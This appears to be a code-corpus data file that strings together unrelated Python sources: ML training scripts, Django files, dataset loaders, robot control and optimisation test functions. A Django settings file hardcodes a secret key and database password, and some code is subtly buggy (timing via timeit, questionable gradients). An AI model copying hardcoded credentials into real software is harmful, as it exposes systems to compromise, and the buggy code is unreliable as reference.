gensim.models.word2vec import LineSentence\n\nif __name__ == '__main__':\n # Set up logging\n this_program = os.path.basename(sys.argv[0])\n log = logging.getLogger(this_program)\n\n logging.basicConfig(format='%(asctime)s | %(levelname)s : %(message)s')\n logging.root.setLevel(level=logging.INFO)\n log.info(\"Running %s\" % ' '.join(sys.argv))\n\n\n # Check arguments\n if len(sys.argv) != 3:\n print(\"Error. Run as \\\"TrainWord2VecModel \\\" \")\n sys.exit(1)\n in_file, out_file = sys.argv[1:3]\n\n # Train and save model\n line_sentence = LineSentence(in_file, max_sentence_length=50000)\n\n start = timeit.timeit()\n model = Word2Vec(line_sentence, sg=0, size=400, window=5, min_count=10, hs=0, negative=10, workers=32, iter=10)\n end = timeit.timeit()\n\n model.save(out_file)\n # Save training time\n time_file = open(out_file+\"time\", 'w')\n print(str(end - start), file=time_file)\n time_file.close()\n log.info(\"Complete\")\n","sub_path":"TrainWord2VecModel.py","file_name":"TrainWord2VecModel.py","file_ext":"py","file_size_in_byte":1272,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"147972523","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import models, migrations\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ]\n\n operations = [\n migrations.CreateModel(\n name='Setting',\n fields=[\n ('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)),\n ('key', models.CharField(unique=True, max_length=50)),\n ('category', models.CharField(default='TEXT', max_length=100, choices=[('TEXT', b'Plain Text'), ('MULT', b'Multiline Text'), ('HTML', b'HTML'), ('MKDN', b'Markdown')])),\n ('value', models.TextField(blank=True)),\n ],\n options={\n 'abstract': False,\n },\n bases=(models.Model,),\n ),\n ]\n","sub_path":"ag/config/migrations/0001_initial.py","file_name":"0001_initial.py","file_ext":"py","file_size_in_byte":844,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"308722241","text":"import os\nimport pickle\nimport torch\nfrom torch.utils.data import Dataset, DataLoader\nimport numpy as np\n\nfrom PIL import Image\n\nDATASETS = ['roxford5k', 'rparis6k', 'revisitop1m']\n\ndata_path = '/home/yoonwoo/Data/revisitop/data/datasets'\n\n\ndef configdataset(dataset, dir_main):\n\n dataset = dataset.lower()\n\n if dataset not in DATASETS: \n raise ValueError('Unknown dataset: {}!'.format(dataset))\n\n if dataset == 'roxford5k' or dataset == 'rparis6k':\n # loading imlist, qimlist, and gnd, in cfg as a dict\n gnd_fname = os.path.join(dir_main, dataset, 'gnd_{}.pkl'.format(dataset))\n with open(gnd_fname, 'rb') as f:\n cfg = pickle.load(f)\n cfg['gnd_fname'] = gnd_fname\n cfg['ext'] = '.jpg'\n cfg['qext'] = '.jpg'\n\n elif dataset == 'revisitop1m':\n # loading imlist from a .txt file\n cfg = {}\n cfg['imlist_fname'] = os.path.join(dir_main, dataset, '{}.txt'.format(dataset))\n cfg['imlist'] = read_imlist(cfg['imlist_fname'])\n cfg['qimlist'] = []\n cfg['ext'] = ''\n cfg['qext'] = ''\n\n cfg['dir_data'] = os.path.join(dir_main, dataset)\n cfg['dir_images'] = os.path.join(cfg['dir_data'], 'jpg')\n\n # length of db\n cfg['n'] = len(cfg['imlist'])\n \n cfg['nq'] = len(cfg['qimlist'])\n\n cfg['im_fname'] = config_imname\n cfg['qim_fname'] = config_qimname\n\n cfg['dataset'] = dataset\n\n return cfg\n\ndef config_imname(cfg, i):\n return os.path.join(cfg['dir_images'], cfg['imlist'][i] + cfg['ext'])\n\ndef config_qimname(cfg, i):\n return os.path.join(cfg['dir_images'], cfg['qimlist'][i] + cfg['qext'])\n\ndef read_imlist(imlist_fn):\n with open(imlist_fn, 'r') as file:\n imlist = file.read().splitlines()\n return imlist\n\nclass DBSet(Dataset):\n\n def __init__(self, dataset, transforms):\n self.cfg = configdataset(dataset, data_path)\n self.imlist = self.cfg['imlist']\n self.dir_images = self.cfg['dir_images']\n self.nDB = self.cfg['n']\n self.image_link_list = [self.dir_images + '/' + self.imlist[i] + self.cfg['ext'] for i in range(self.nDB)]\n self.transforms = transforms\n\n def get_image(self, idx):\n return Image.open(self.image_link_list[idx])\n\n def __len__(self):\n return self.nDB\n\n def __getitem__(self, idx):\n data = {}\n data['filename'] = self.imlist[idx]\n data['original_image'] = Image.open(self.image_link_list[idx])\n data['transformed_image'] = self.transforms(data['original_image'])\n return data\n\n\nclass QuerySet(Dataset):\n \n def __init__(self, dataset, transforms):\n self.DBSet = DBSet(dataset, transforms)\n self.cfg = configdataset(dataset, data_path)\n self.imlist = self.cfg['qimlist']\n self.dir_images = self.cfg['dir_images']\n self.nQ = self.cfg['nq']\n self.nDB = self.cfg['n']\n self.image_link_list = [self.dir_images + '/' + self.imlist[i] + self.cfg['qext'] for i in range(self.nQ)]\n self.transforms = transforms\n gt = self.cfg['gnd']\n self.bbx = [x['bbx'] for x in gt]\n self.easy = [x['easy'] for x in gt]\n self.hard = [x['hard'] for x in gt]\n self.junk = [x['junk'] for x in gt]\n\n self.pos = np.array([np.concatenate([self.easy[i], self.hard[i]]) for i in range(self.nQ)])\n self.pair = np.array([(x, y) for x in range(self.nQ) for y in self.pos[x]], dtype=(int,int))\n \n self.neg = []\n\n for idx, pos_list in enumerate(self.pos):\n\n self.neg.append([])\n self.neg[idx] = [i for i in range(self.nDB) if i not in pos_list]\n \n # for i in range(len(self.junk)):\n # if len(self.junk[i]) < 5:\n # l = len(self.junk[i])\n # self.junk[i] = np.concatenate([self.junk[i], np.random.choice(outlier[i], 5-l)]) \n # self.neg = np.array([np.random.choice(mat, 5) for mat in self.junk], dtype=int)\n\n def get_image(self, idx):\n return Image.open(self.image_link_list[idx])\n\n def __len__(self):\n return len(self.pair)\n\n def __getitem__(self, idx):\n data = {}\n query = self.pair[idx][0]\n data['q_filename'] = self.imlist[query]\n data['q_idx'] = query\n data['q_tf_image'] = self.transforms(Image.open(self.image_link_list[query]))\n data['pos_idx'] = self.pair[idx][1]\n data['pos_filename'] = self.DBSet.imlist[self.pair[idx][1]]\n data['pos_tf_image'] = self.transforms(Image.open(self.DBSet.image_link_list[self.pair[idx][1]]))\n data['neg_idx'] = self.neg[query]\n data['neg_filename'] = np.array([self.DBSet.imlist[self.neg[query][i]] for i in range(5)])\n data['neg_tf_image'] = [\n self.transforms(Image.open(self.DBSet.image_link_list[self.neg[query][i]]))\n for i in range(5)\n ]\n return data\n\nif __name__ == '__main__':\n QuerySet('roxford5k', transforms=None)","sub_path":"DataSet.py","file_name":"DataSet.py","file_ext":"py","file_size_in_byte":4963,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"246567606","text":"# pacman.py\n# ---------\n# Licensing Information: Please do not distribute or publish solutions to this\n# project. You are free to use and extend these projects for educational\n# purposes. The Pacman AI projects were developed at UC Berkeley, primarily by\n# John DeNero (denero@cs.berkeley.edu) and Dan Klein (klein@cs.berkeley.edu).\n# For more info, see http://inst.eecs.berkeley.edu/~cs188/sp09/pacman.html\n\nfrom game import GameStateData\n\nclass GameState:\n\n def __init__(self, prevState = None):\n if prevState != None:\n self.data = GameStateData(prevState.data)\n else:\n self.data = GameStateData()\n\n\n","sub_path":"Day19/pacman.py","file_name":"pacman.py","file_ext":"py","file_size_in_byte":645,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"403122448","text":"\"\"\"\nLocal Django project settings. On deploy, this is overwritten by Ansible.\nThese are dev machine settings\n\"\"\"\n\nINTERNAL_IPS = (\n '127.0.0.1',\n '192.168.221.1'\n)\n\n# SECURITY WARNING: keep the secret key used in production secret!\nSECRET_KEY = ')2_rz^&37bs42f_ygj2wg%3!q*50h)!_*&qmm@xj3yh^+p0=wc'\n\n# SECURITY WARNING: don't run with debug turned on in production!\nDEBUG = True\nTEMPLATE_DEBUG = True\n\n# Database\n# https://docs.djangoproject.com/en/1.6/ref/settings/#databases\n\nDATABASES = {\n 'default': {\n 'ENGINE': 'django.db.backends.postgresql_psycopg2',\n 'NAME': 'legcowatch',\n 'USER': 'legcowatchdb',\n 'PASSWORD': 'e8aVqxwaKVXMfBT',\n 'HOST': 'db',\n 'PORT': '5432'\n }\n}\n\n# Static files (CSS, JavaScript, Images)\n# https://docs.djangoproject.com/en/1.6/howto/static-files/\n\nSTATIC_ROOT = '/tmp/static/'\nSTATIC_URL = '/static/'\n\nSTATICFILES_STORAGE = 'pipeline.storage.PipelineCachedStorage'\n","sub_path":"app/legcowatch/local.py","file_name":"local.py","file_ext":"py","file_size_in_byte":949,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"345146472","text":"from pyrep import PyRep\nimport numpy as np\nfrom numpy import linalg as la\n\nclass Unit():\n def __init__(self, pyrep: PyRep, queue, index: int):\n self._pyrep = pyrep\n self._queue = queue\n self._index = index\n\n # unit properties\n self._start_pos = [0, 0]\n self._mode = 'idle'\n self._submode = 'gather'\n self._targets = []\n self._holding_item = False\n self._item = np.array([])\n\n self._home_base = np.array([0, 0])\n\n # unit movement properties\n self._max_speed = 1.0\n self._max_force = 5.0\n\n self._find_item_max_speed = 1.0\n self._find_item_max_force = 5.0\n\n # unit separation properties\n self._min_sep_dist = 2.0\n self._max_sep_speed = 5.0\n self._max_sep_force = 5.0\n\n # unit arrival properties\n self._arrival_rad = 1.5\n\n # functions associated with PyRep\n def getPosition(self):\n ints, floats, strings, byte = self._pyrep.script_call(\n function_name_at_script_name='getPosition@unitScript',\n script_handle_or_type=1,\n ints=([self._index]),\n floats=(),\n strings=(),\n bytes=''\n )\n\n return np.array([floats[0], floats[1]])\n\n def getVelocity(self):\n ints, floats, strings, byte = self._pyrep.script_call(\n function_name_at_script_name='getVelocity@unitScript',\n script_handle_or_type=1,\n ints=([self._index]),\n floats=(),\n strings=(),\n bytes=''\n )\n\n return np.array([floats[0], floats[1]])\n\n def applyForce(self, force):\n self._pyrep.script_call(\n function_name_at_script_name='applyForce@unitScript',\n script_handle_or_type=1,\n ints=([self._index]),\n floats=([force[0], force[1]]),\n strings=(),\n bytes=''\n )\n\n def actuateGripper(self, pose: str):\n val = 0\n\n if pose == 'open':\n val = 0\n elif pose == 'close':\n val = 1\n\n self._pyrep.script_call(\n function_name_at_script_name='actuateGripper@unitScript',\n script_handle_or_type=1,\n ints=([self._index, val]),\n floats=(),\n strings=(),\n bytes=''\n )\n\n def getNearestItem(self):\n ints, floats, strings, byte = self._pyrep.script_call(\n function_name_at_script_name='getNearestItem@unitScript',\n script_handle_or_type=1,\n ints=([self._index]),\n floats=(),\n strings=(),\n bytes=''\n )\n\n if floats:\n return np.array([floats[0], floats[1]])\n else:\n return np.array([])\n\n def isHoldingItem(self):\n ints, floats, strings, byte = self._pyrep.script_call(\n function_name_at_script_name='isHoldingItem@unitScript',\n script_handle_or_type=1,\n ints=([self._index]),\n floats=(),\n strings=(),\n bytes=''\n )\n\n if ints[0] == 1:\n return True\n else:\n return False\n\n def setReverse(self, isReverse=0):\n ints, floats, strings, byte = self._pyrep.script_call(\n function_name_at_script_name='setUnitReverse@unitScript',\n script_handle_or_type=1,\n ints=([self._index, isReverse]),\n floats=(),\n strings=(),\n bytes=''\n )\n\n # unit functions\n def idle(self):\n steer = self.getVelocity()\n steer = steer * -1\n\n if la.norm(steer) > 0:\n steer = np.clip(steer, None, self._max_force)\n self.applyForce(steer)\n\n def seek(self, behavior=None):\n if behavior == 'arrival':\n radius = self._arrival_rad\n dist = self.distTo(self.getCurrTarget())\n\n rated_speed = self._max_speed\n \n if dist < radius:\n rated_speed = self._max_speed * (dist / radius)\n rated_speed = min(rated_speed, self._max_speed)\n\n position = self.getPosition()\n desired = np.subtract((self._targets[0])[1], position)\n desired = (desired / la.norm(desired)) * rated_speed\n\n steer = np.subtract(desired, self.getVelocity())\n steer = np.clip(steer, None, self._max_force)\n\n self.applyForce(steer)\n else:\n position = self.getPosition()\n desired = np.subtract((self._targets[0])[1], position)\n desired = (desired / la.norm(desired)) * self._max_speed\n\n steer = np.subtract(desired, self.getVelocity())\n steer = np.clip(steer, None, self._max_force)\n\n self.applyForce(steer)\n\n def goTo(self, target):\n position = self.getPosition()\n desired = np.subtract(target, position)\n desired = (desired / la.norm(desired)) * self._max_speed\n\n steer = np.subtract(desired, self.getVelocity())\n steer = np.clip(steer, None, self._max_force)\n\n self.applyForce(steer)\n return self.distTo(target)\n\n def separate(self, units):\n steer = np.array([np.nan, np.nan])\n \n for unit in units:\n curr_pos = self.getPosition()\n unit_pos = unit.getPosition()\n\n dist = la.norm(curr_pos - unit_pos)\n if dist < self._min_sep_dist:\n if unit.getSubMode() == 'wait':\n if self.getSubMode() == 'gather':\n self.setSubMode('wait')\n self._queue.append(self._index)\n print('(inside) added {} to queue...'.format(self._index))\n print(self._queue)\n\n rep = np.subtract(curr_pos, unit_pos)\n rep = (rep / la.norm(rep)) * (1 / self._max_sep_speed)\n\n if np.isnan(steer).any():\n steer = rep\n else:\n steer = steer + rep\n\n if not np.isnan(steer).any():\n steer = np.clip(steer, None, self._max_sep_force)\n self.applyForce(steer)\n\n def findItem(self):\n target = self.getNearestItem()\n\n if target.size != 0:\n self._item = target\n radius = self._arrival_rad\n dist = self.distTo(target)\n\n rated_speed = self._find_item_max_speed\n\n if dist < radius:\n rated_speed = self._find_item_max_speed * (dist / radius)\n rated_speed = min(rated_speed, self._find_item_max_speed)\n\n position = self.getPosition() \n desired = np.subtract(target, position)\n desired = (desired / la.norm(desired)) * rated_speed\n\n steer = np.subtract(desired, self.getVelocity())\n steer = np.clip(steer, None, self._find_item_max_force)\n\n self.applyForce(steer)\n return dist\n else:\n return None\n\n def goHome(self):\n position = self.getPosition()\n target = self._home_base\n\n desired = np.subtract(target, position)\n desired = (desired / la.norm(desired)) * self._max_speed\n\n steer = np.subtract(desired, self.getVelocity())\n steer = np.clip(steer, None, self._find_item_max_force)\n\n self.applyForce(steer)\n return self.distTo(target)\n\n def addTarget(self, target) -> None:\n self._targets.append(target)\n \n def nextTarget(self) -> None:\n return self._targets.pop(0)\n\n def getCurrTarget(self):\n return (self._targets[0])[1]\n\n # mode controller\n def setMode(self, mode: str) -> None:\n self._mode = mode\n\n def getMode(self) -> str:\n return self._mode\n\n def setSubMode(self, submode: str) -> None:\n self._submode = submode\n \n def getSubMode(self) -> str:\n return self._submode\n\n def nextMode(self) -> None:\n self._instructions.pop(0)\n self._mode = self._instructions[0]\n\n # helper function(s)\n def distTo(self, target) -> float:\n return la.norm(target - self.getPosition())\n\n def holdingItem(self) -> bool:\n self._holding_item = self.isHoldingItem()\n return self._holding_item\n","sub_path":"unit.py","file_name":"unit.py","file_ext":"py","file_size_in_byte":8272,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"182756384","text":"#Emanuel Casiano-Diaz - September 5, 2018.\n#Plots square of the orbital period and cube of orbital radius\n#of planets in the Solar System to test Kepler's Law\n\nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom math import log\nfrom scipy.stats import linregress\nimport colors\n\nwith plt.style.context('../../IOP_large.mplstyle'):\n\n #Some nice pastel colors\n red = [\"#e85c47\"]\n blue = [\"#4173b3\"]\n orange = [\"#ff8c00\"]\n green = [\"#7dcca4\"] \n violet = [\"#b19cd9\"]\n\n alpha = [0.8,0.5,0.1]\n\n for i,c in enumerate(alpha):\n red.append(colors.get_alpha_hex(red[0],alpha[i]))\n orange.append(colors.get_alpha_hex(orange[0],alpha[i]))\n green.append(colors.get_alpha_hex(green[0],alpha[i]))\n blue.append(colors.get_alpha_hex(blue[0],alpha[i]))\n violet.append(colors.get_alpha_hex(violet[0],alpha[i]))\n\n \"--------------------------------------------------------------------\"\n\n #Define functions\n def findPowerLaw(x,y):\n '''Input: x and y data (arrays of real numbers)'''\n '''Output: Prefactor and exponent of power law scaling''' \n\n #Perform linear regression of x,y data\n p , logA = np.polyfit(np.log10(x),np.log10(y),deg=1)\n A = 10**(logA)\n #p: exponent, A: prefactor\n\n return A,p\n \n def normedPowerLaw(x,y,p):\n '''Input: x and y data (arrays of real numbers), power law factor p'''\n '''Output: Normalized max value of y and corresponding x'''\n normedY = y/(x**p)\n return normedY\n \n \"--------------------------------------------------------------------\"\n\n #Main\n\n #Orbital periods (in days) and radii (in 10^6 km) for planets in the Solar System\n #https://nssdc.gsfc.nasa.gov/planetary/factsheet/\n\n data = np.loadtxt(\"keplerLawData.dat\")\n r = data[:,0] #radii \n T = data[:,1] #periods\n \n #Do least squares fitting of T^2 vs. r^3 to determine goodness of fit\n slope, intercept, r_value, p_value, std_err = linregress(r**3,T**2)\n rSquared = r_value**2\n \n \"--------------------------------------------------------------------\"\n #Plot\n rFit = np.linspace(r[0],r[-1],1000)\n T2Fit = slope*(rFit**3)+intercept\n \n fig, ax1 = plt.subplots()\n ax1.plot(r**3,T**2,'*',markersize=10,mfc=violet[3],mew=0.75,color=violet[1],zorder=3)\n ax1.plot(rFit**3,T2Fit, '-',color=violet[1],label='',linewidth=1)\n ax1.set_xlabel(r\"$r^3 (km^3)$\")\n ax1.set_ylabel(r\"$T^2 (days^2)$\")\n ax1.tick_params(axis='both', which='both', left='on', right='off', top='off', bottom='on', labelleft='on', direction = 'in')\n #ax1.loglog()\n #ax1.legend(loc=(0.016,0.33),fontsize=9,frameon=False,handlelength=1,handleheight=1,title='',ncol=1)\n ax1.text(1.17E+29,0.13E+10,r\"$R^2 = %.5f$\"%(rSquared),fontsize=10)\n ax1.text(0.74E+29,0.2E+10,r\"$T^2 = (%.2E) r^3 - (%.2E)$\"%(slope,-intercept),fontsize=10)\n \n plt.savefig(\"keplerLawPlot.pdf\")\n \n ","sub_path":"HW01/Q07/.ipynb_checkpoints/keplerLaw-checkpoint.py","file_name":"keplerLaw-checkpoint.py","file_ext":"py","file_size_in_byte":2968,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"37087778","text":"count = 0\ntotal = 0\nentry = input('Enter a file name: ')\ngrab = open(entry)\nfor strings in grab : \n if not strings.startswith(\"X-DSPAM-Confidence:\") :\n continue\n unc_vars = strings\n lc_unc_vars = unc_vars.find(':')\n # print(lc_unc_var)\n tc_unc_vars = len(unc_vars)\n # print(tc_unc_vars)\n target = unc_vars[lc_unc_vars + 1 : tc_unc_vars] \n target = target.strip()\n # print(target)\n count = count + 1\n cln_vars = float(target)\n # print(cln_vars)\n total = total + cln_vars\n\naverage = total / count\n# print(average, total, count)\nprint('Average spam confidence:', average)\n# print('Done')","sub_path":"Completed/ex_07_02/ex_07_02.py","file_name":"ex_07_02.py","file_ext":"py","file_size_in_byte":630,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"106582784","text":"class Prob4_Part1:\n \"\"\"\n Author: Chang Qiu\n Date: 10/25/2016\n \"\"\"\n\n def check_attempt(self, params):\n # unpack params\n self.attempt = params['attempt'] # student's attempt\n self.answer = params['answer'] # solution\n self.att_tree = params['att_tree'] # attempt tree\n self.ans_tree = params['ans_tree'] # solution tree\n\n hint = \"Recall the formula for exponential distribution in CDF is 1 − e^(−λx), and for a pure exponential distribution, F(x) = component weight * (1 − e^(−λx)).\"\n return hint + \" If 1 − e^(−λx) is at 2, and the F(x) for pure exponential distribution is 0.5, what is the component weight?\", \"0.25\"\n\n def get_problems(self):\n self.problem_list = [\"CumulativeDistributionFunctions/cdf_exp_point/part1\"]\n return self.problem_list","sub_path":"hint_database/hint_class/Week5/Prob4_Part1.py","file_name":"Prob4_Part1.py","file_ext":"py","file_size_in_byte":845,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"638066913","text":"# https://leetcode.com/problems/matrix-block-sum/\n\nclass Solution:\n def matrixBlockSum(self, mat: List[List[int]], k: int) -> List[List[int]]:\n m = len(mat)\n n = len(mat[0])\n \n # prefix array row-wise(prefix for a row)\n mat1 = [[0]*(n+1) for _ in range(m)]\n \n for i in range(m):\n for j in range(n):\n mat1[i][j+1] = mat[i][j] + mat1[i][j]\n \n m = len(mat1)\n n = len(mat1[0])\n \n # for each window, calculate sum over all rightmost column elements in that window\n sum = 0\n for row in range(m):\n for col in range(1, n):\n max_row = row + k if(row + k < m) else m - 1\n max_col = col + k if(col + k < n) else n - 1\n min_row = row - k if(row - k >= 0) else 0 # starting row for counting\n min_col = col - k - 1 if(col - k - 1 >= 0) else 0 # column which has to be removed\n \n sum = 0\n for i in range(min_row, max_row + 1):\n sum += mat1[i][max_col]\n sum -= mat1[i][min_col]\n mat[row][col - 1] = sum\n \n return mat\n","sub_path":"LeetCode/Array/1314. Matrix Block Sum.py","file_name":"1314. Matrix Block Sum.py","file_ext":"py","file_size_in_byte":1229,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"295957483","text":"import math\nimport numpy as np\nfrom numbers import Number\n\n\nclass Function:\n def __init__(self, dim=1):\n self.dim = dim\n self.domain = {'lower': -math.inf, 'upper': math.inf}\n\n def eval(self, X):\n pass\n\n def feasible(self, X):\n if isinstance(X, Number):\n X = [X]\n\n for i in range(self.dim):\n if X[i] > self.domain['upper'] or X[i] < self.domain['lower']:\n return False\n return True\n\n\nclass DiffFunction(Function):\n def gradient(self, X):\n pass\n\n\nclass Diff2Function(DiffFunction):\n def hessian(self, X):\n pass\n\n def hessian_det(self, X):\n return np.linalg.det(self.hessian(X))\n\n\nclass QuadraticFunction(Diff2Function):\n def eval(self, X):\n e = 0\n\n for i in range(self.dim):\n e += (X[i]**2)\n\n return e\n\n def gradient(self, X):\n grad = np.zeros(self.dim)\n\n for i in range(self.dim):\n grad[i] = 2 * X[i]\n\n return grad\n\n def hessian(self, X):\n hess = np.zeros([self.dim, self.dim])\n\n for i in range(self.dim):\n for j in range(self.dim):\n if i == j:\n hess[i][j] = 2\n\n return hess\n\n\nclass RastriginFunction(Diff2Function):\n def __init__(self, dim=1):\n super(RastriginFunction, self).__init__(dim)\n self.domain = {'lower': -5.12, 'upper': 5.12}\n self.name = 'Rastrigin Function'\n\n def eval(self, X):\n e = 10 * self.dim\n\n for i in range(self.dim):\n e += (X[i]**2) - 10 * math.cos(2 * math.pi * X[i])\n\n return e\n\n def gradient(self, X):\n grad = np.zeros(self.dim)\n for i in range(self.dim):\n grad[i] = 2 * (X[i] + 10 * math.pi * math.sin(2 * math.pi * X[i]))\n\n return grad\n\n def hessian(self, X):\n hess = np.zeros([self.dim, self.dim])\n\n for i in range(self.dim):\n for j in range(self.dim):\n if i == j:\n hess[i][j] = 2 * (1 + 20 * (math.pi**2) *\n math.cos(2 * math.pi * X[i]))\n\n return hess\n\n def close_to_optimal(self, X):\n for i in range(self.dim):\n if abs(X[i] - 0) > 0.01:\n return False\n\n return True\n\n\nclass GriewankFunction(Diff2Function):\n def __init__(self, dim=1):\n super(GriewankFunction, self).__init__(dim)\n self.domain = {'lower': -600, 'upper': 600}\n self.name = 'Griewank Function'\n\n def eval(self, X):\n suma = 0\n prod = 1\n\n for i in range(self.dim):\n suma += (X[i]**2) / 4000\n prod *= math.cos(X[i] / math.sqrt(i + 1))\n\n return suma - prod + 1\n\n def gradient(self, X):\n grad = np.zeros(self.dim)\n\n for i in range(self.dim):\n prod = 1\n for k in range(self.dim):\n if k != i:\n prod *= math.cos(X[i] / math.sqrt(i + 1))\n\n grad[i] = (X[i] / 2000) + math.sin(X[i] /\n math.sqrt(i + 1)) * (1 / math.sqrt(i + 1)) * prod\n\n return grad\n\n def hessian(self, X):\n hess = np.zeros([self.dim, self.dim])\n\n for i in range(self.dim):\n for j in range(self.dim):\n if i == j:\n prod = 1\n\n for k in range(self.dim):\n if k != i:\n prod *= math.cos(X[k] / math.sqrt(k + 1))\n\n hess[i][j] = (1 / 2000) + math.cos(X[i]) * \\\n (1 / (i + 1)) * prod\n else:\n prod = 1\n\n for k in range(self.dim):\n if k != i and k != j:\n prod *= math.cos(X[k] / math.sqrt(k + 1))\n\n hess[i][j] = math.sin(\n X[i] / math.sqrt(i + 1)) * (1 / math.sqrt(i + 1)) * prod\n hess[i][j] *= -1 * \\\n math.sin(X[j] / math.sqrt(j + 1)) * \\\n (1 / math.sqrt(j + 1))\n\n return hess\n\n def close_to_optimal(self, X):\n for i in range(self.dim):\n if abs(X[i] - 0) > 0.01:\n return False\n\n return True\n\n\nclass RosenbrockFunction(Diff2Function):\n def __init__(self, dim=1):\n super(RosenbrockFunction, self).__init__(dim)\n self.domain = {'lower': -2048, 'upper': 2048}\n self.name = 'Rosenbrock Function'\n\n def eval(self, X):\n suma = 0\n\n for i in range(self.dim - 1):\n suma += (100 * (X[i + 1] - X[i]**2)**2) + (1 - X[i])**2\n\n return suma\n\n def gradient(self, X):\n grad = np.zeros(self.dim)\n\n for i in range(self.dim):\n if(i != self.dim - 1):\n grad[i] += 200 * (X[i + 1] - (X[i]**2)) * (-2 * X[i])\n\n if(i != 0):\n grad[i] += 200 * (X[i] - (X[i - 1]**2))\n\n grad[i] += 2 * (X[i] - 1)\n\n return grad\n\n def hessian(self, X):\n hess = np.zeros([self.dim, self.dim])\n\n for i in range(self.dim):\n for j in range(self.dim):\n\n if (i < j - 1) or (i > j + 1):\n continue\n\n if (i == j - 1):\n if i != 0:\n hess[i][j] += -400 * X[j - 1]\n elif i == j:\n if (i != self.dim - 1):\n hess[i][j] += -400 * (X[j + 1] - (3 * X[j]**2))\n\n if i != 0:\n hess[i][j] += 200\n\n hess[i][j] += 2\n elif (i == j + 1):\n if (i != self.dim - 1):\n hess[i][j] += -400 * X[j]\n\n return hess\n\n\nclass SchwefelFunction(Function):\n def __init__(self, dim=1):\n super(SchwefelFunction, self).__init__(dim)\n self.domain = {'lower': -500, 'upper': 500}\n self.name = 'Schwefel Function'\n\n def eval(self, X):\n suma = 0\n\n for i in range(self.dim):\n suma += X[i] * math.sin(math.sqrt(abs(X[i])))\n\n return 418.9829 * self.dim - suma\n\n\nclass OneMaxFunction(Function):\n def eval(self, x):\n return x.count()\n\n def feasible(self, x):\n return True\n\n\nclass M1(Function):\n def __init__(self):\n self.dim = 1\n self.domain = {'lower': 0, 'upper': 1}\n\n def eval(self, x):\n return math.sin(5 * math.pi * x) ** 6\n\n\nclass M2(Function):\n def __init__(self):\n self.dim = 1\n self.domain = {'lower': 0, 'upper': 1}\n\n def eval(self, x):\n e_exponent = -2\n e_exponent *= math.log(2)\n e_exponent *= ((x - .1) / .8)**2\n\n res = math.e**e_exponent\n res *= math.sin(5 * math.pi * x) ** 6\n\n return res\n\n\nclass M3(Function):\n def __init__(self):\n self.dim = 1\n self.domain = {'lower': 0, 'upper': 1}\n\n def eval(self, x):\n return math.sin(5 * math.pi * (x**.75 - .05)) ** 6\n\n\nclass M4(Function):\n def __init__(self):\n self.dim = 1\n self.domain = {'lower': 0, 'upper': 1}\n\n def eval(self, x):\n e_exponent = -2\n e_exponent *= math.log(2)\n e_exponent *= ((x - .08) / .854)**2\n\n res = math.e**e_exponent\n res *= math.sin(5 * math.pi * (x**.75 - .05)) ** 6\n\n return res\n\n\nclass PrisonersDilema(Function):\n def __init__(self):\n self.dim = 2\n self.domain = {'lower': 0, 'upper': 1}\n\n def eval(self, A, B):\n if not A and not B:\n return [4, 4]\n elif A and not B:\n return [7, 1]\n elif not A and B:\n return [1, 7]\n else:\n return [2, 2]\n","sub_path":"evolutionary-strategies/utils/functions.py","file_name":"functions.py","file_ext":"py","file_size_in_byte":7703,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"615899903","text":"\"\"\" Compiled: 2020-09-18 10:38:51 \"\"\"\n\n#__src_file__ = \"extensions/reconciliation_documents/archive/FArchiveReconciliationDocumentsPerform.py\"\n#----------------------------------------------------------------------------\n# (c) Copyright 2020 SunGard Front Arena. All rights reserved.\n#----------------------------------------------------------------------------\n\"\"\"---------------------------------------------------------------------------\nMODULE\n FArchiveReconciliationDocumentsPerform -\n Module to archive business processes\n\nDESCRIPTION\n\n\nENDDESCRIPTION\n---------------------------------------------------------------------------\"\"\"\n\nimport FReconciliationDocumentsPerform\nimport importlib\nimportlib.reload(FReconciliationDocumentsPerform)\nfrom FBDPCurrentContext import Summary\n\ndef perform(params):\n dearchive = bool(params['Dearchive'])\n params['other_params'] = {\n 'task': 'de-archiving' if dearchive else 'archiving',\n 'src_archive_status': 1 if dearchive else 0,\n 'action': Summary().DEARCHIVE if dearchive else Summary().ARCHIVE,\n }\n FReconciliationDocumentsPerform.perform(\n params, ArchiveReconciliationDocuments\n )\n return\n\nclass ArchiveReconciliationDocuments(\n FReconciliationDocumentsPerform.ReconciliationDocumentsPerform\n):\n # constructor\n def __init__(self, testmode, baseParams, otherParams):\n super(ArchiveReconciliationDocuments, self).__init__(\n testmode, baseParams, otherParams\n )\n self.new_archive_status = int(not bool(self._src_archive_status))\n\n # override\n def processObj(self, obj):\n if not self.testmode:\n obj = obj.clone()\n obj.archive_status = self.new_archive_status\n obj.commit()\n\n return obj\n","sub_path":"Extensions/Default/FPythonCode/FArchiveReconciliationDocumentsPerform.py","file_name":"FArchiveReconciliationDocumentsPerform.py","file_ext":"py","file_size_in_byte":1783,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"142535964","text":"\"\"\"\n还是同样的步骤\n第一步:数据预处理(读取数据,进行缺失值处理,进行标签的转换,分离测试集和训练集,看是否需要进行归一化处理)\n第二部:进行训练集和测试集的分离\n第三步:进行画图\n\"\"\"\nimport numpy as np\nimport pandas as pd\nfrom sklearn.preprocessing import 